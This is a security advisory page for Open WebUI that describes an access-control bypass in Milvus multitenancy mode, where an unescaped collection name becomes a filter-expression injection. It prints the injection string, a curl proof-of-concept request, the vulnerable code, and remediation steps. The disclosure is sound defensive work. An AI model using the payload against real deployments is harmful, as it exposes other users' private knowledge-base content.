Skip to content
Open WebUIGHSA-p5cp-r7rg-qpxc

Open WebUI: RAG ACL Bypass in Milvus Multitenancy Mode

Medium6.5CVE-2026-54019 · Published Jun 17, 2026 · updated Jul 20, 2026

GitHub advisory

Affected versions

PackageAffectedFixed in
open-webui
PyPI
< 0.9.60.9.6
Details and references

# RAG ACL Bypass in Milvus Multitenancy Mode ## Summary This is a bypass of the fix for: - GHSA-h36f-rqpx-j5wx - CVE-2026-44560 - "Unauthorized File and Knowledge Base Content Access via RAG Vector Search" Open WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a `resource_id` and is interpolated into a Milvus expression without escaping. An authenticated non-admin user can query: ```text x' or resource_id != '' or resource_id == 'x ``` This passes the Open WebUI ACL as an unknown collection, but Milvus evaluates: ```text resource_id == 'x' or resource_id != '' or resource_id == 'x' ``` That returns private knowledge-base chunks belonging to other users. ## Affected Configuration Tested on: ```text Open WebUI: v0.9.5, commit 3660bc00f VECTOR_DB=milvus ENABLE_MILVUS_MULTITENANCY_MODE=true ``` This is **not a default-vector-store issue**. It affects **production deployments using Milvus multitenancy.** ## Impact An authenticated low-privilege user can read private RAG / knowledge-base content they do not have access to. No victim interaction is required. ## Root Cause ACL permits unknown collection names: ```python # backend/open_webui/retrieval/utils.py elif not await Knowledges.get_knowledge_by_id(name): validated.add(name) ``` Milvus multitenancy then treats the same name as `resource_id` and builds unsafe expressions: ```python # backend/open_webui/retrieval/vector/dbs/milvus_multitenancy.py expr=f"{RESOURCE_ID_FIELD} == '{resource_id}'" ``` Affected paths include: ```text POST /api/v1/retrieval/query/collection POST /api/v1/retrieval/query/doc ``` ## PoC Request: ```bash curl -s -X POST "$TARGET/api/v1/retrieval/query/collection" \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H "Content-Type: application/json" \ --data-binary @- <<'JSON' { "collection_names": [ "x' or resource_id != '' or resource_id == 'x" ], "query": "anything", "k": 10, "hybrid": false } JSON ``` Actual result: private chunks from other users' knowledge collections are returned. Expected result: request should be rejected with 403 or return no unauthorized content. ## Remediation 1. Do not allow arbitrary unknown collection names in user-controlled RAG query endpoints. 2. Escape or parameterize Milvus expression values before building filters. 3. Reject collection names containing quotes/control characters unless they match a known internal format. 4. Add a regression test for this payload in Milvus multitenancy mode: ```text x' or resource_id != '' or resource_id == 'x ```

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Severity from
GitHub (reviewed advisory)
Weakness
CWE-862, CWE-943
Also known as
CVE-2026-54019, PYSEC-2026-2750

More Open WebUI advisories

All Open WebUI
DateAdvisory
Jun 17Open WebUI IDOR: Calendar event re-parenting allows writing events into another user's calendar
CVE-2026-54006Medium4.3fixed in 0.9.6
Jun 17Open WebUI: Cross-origin postMessage confirmation bypass via action:submit
CVE-2026-54007High6.5fixed in 0.9.6
Jun 17Open WebUI: Redirect-Bypass SSRF in OAuth `_process_picture_url` (incomplete-fix sibling of CVE-2026-45401)
CVE-2026-54008High8.5fixed in 0.9.6
Jun 17Open WebUI: Cross-user file disclosure via /api/chat/completions image_url field
CVE-2026-54009Medium6.5fixed in 0.9.6
Jun 17Open WebUI: Forged chat-file link allows cross-user file read and deletion
CVE-2026-54010High8.3fixed in 0.9.6
Jun 17Open WebUI: Stored XSS in Mermaid Markdown Preview
CVE-2026-54011High8.7fixed in 0.9.6

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.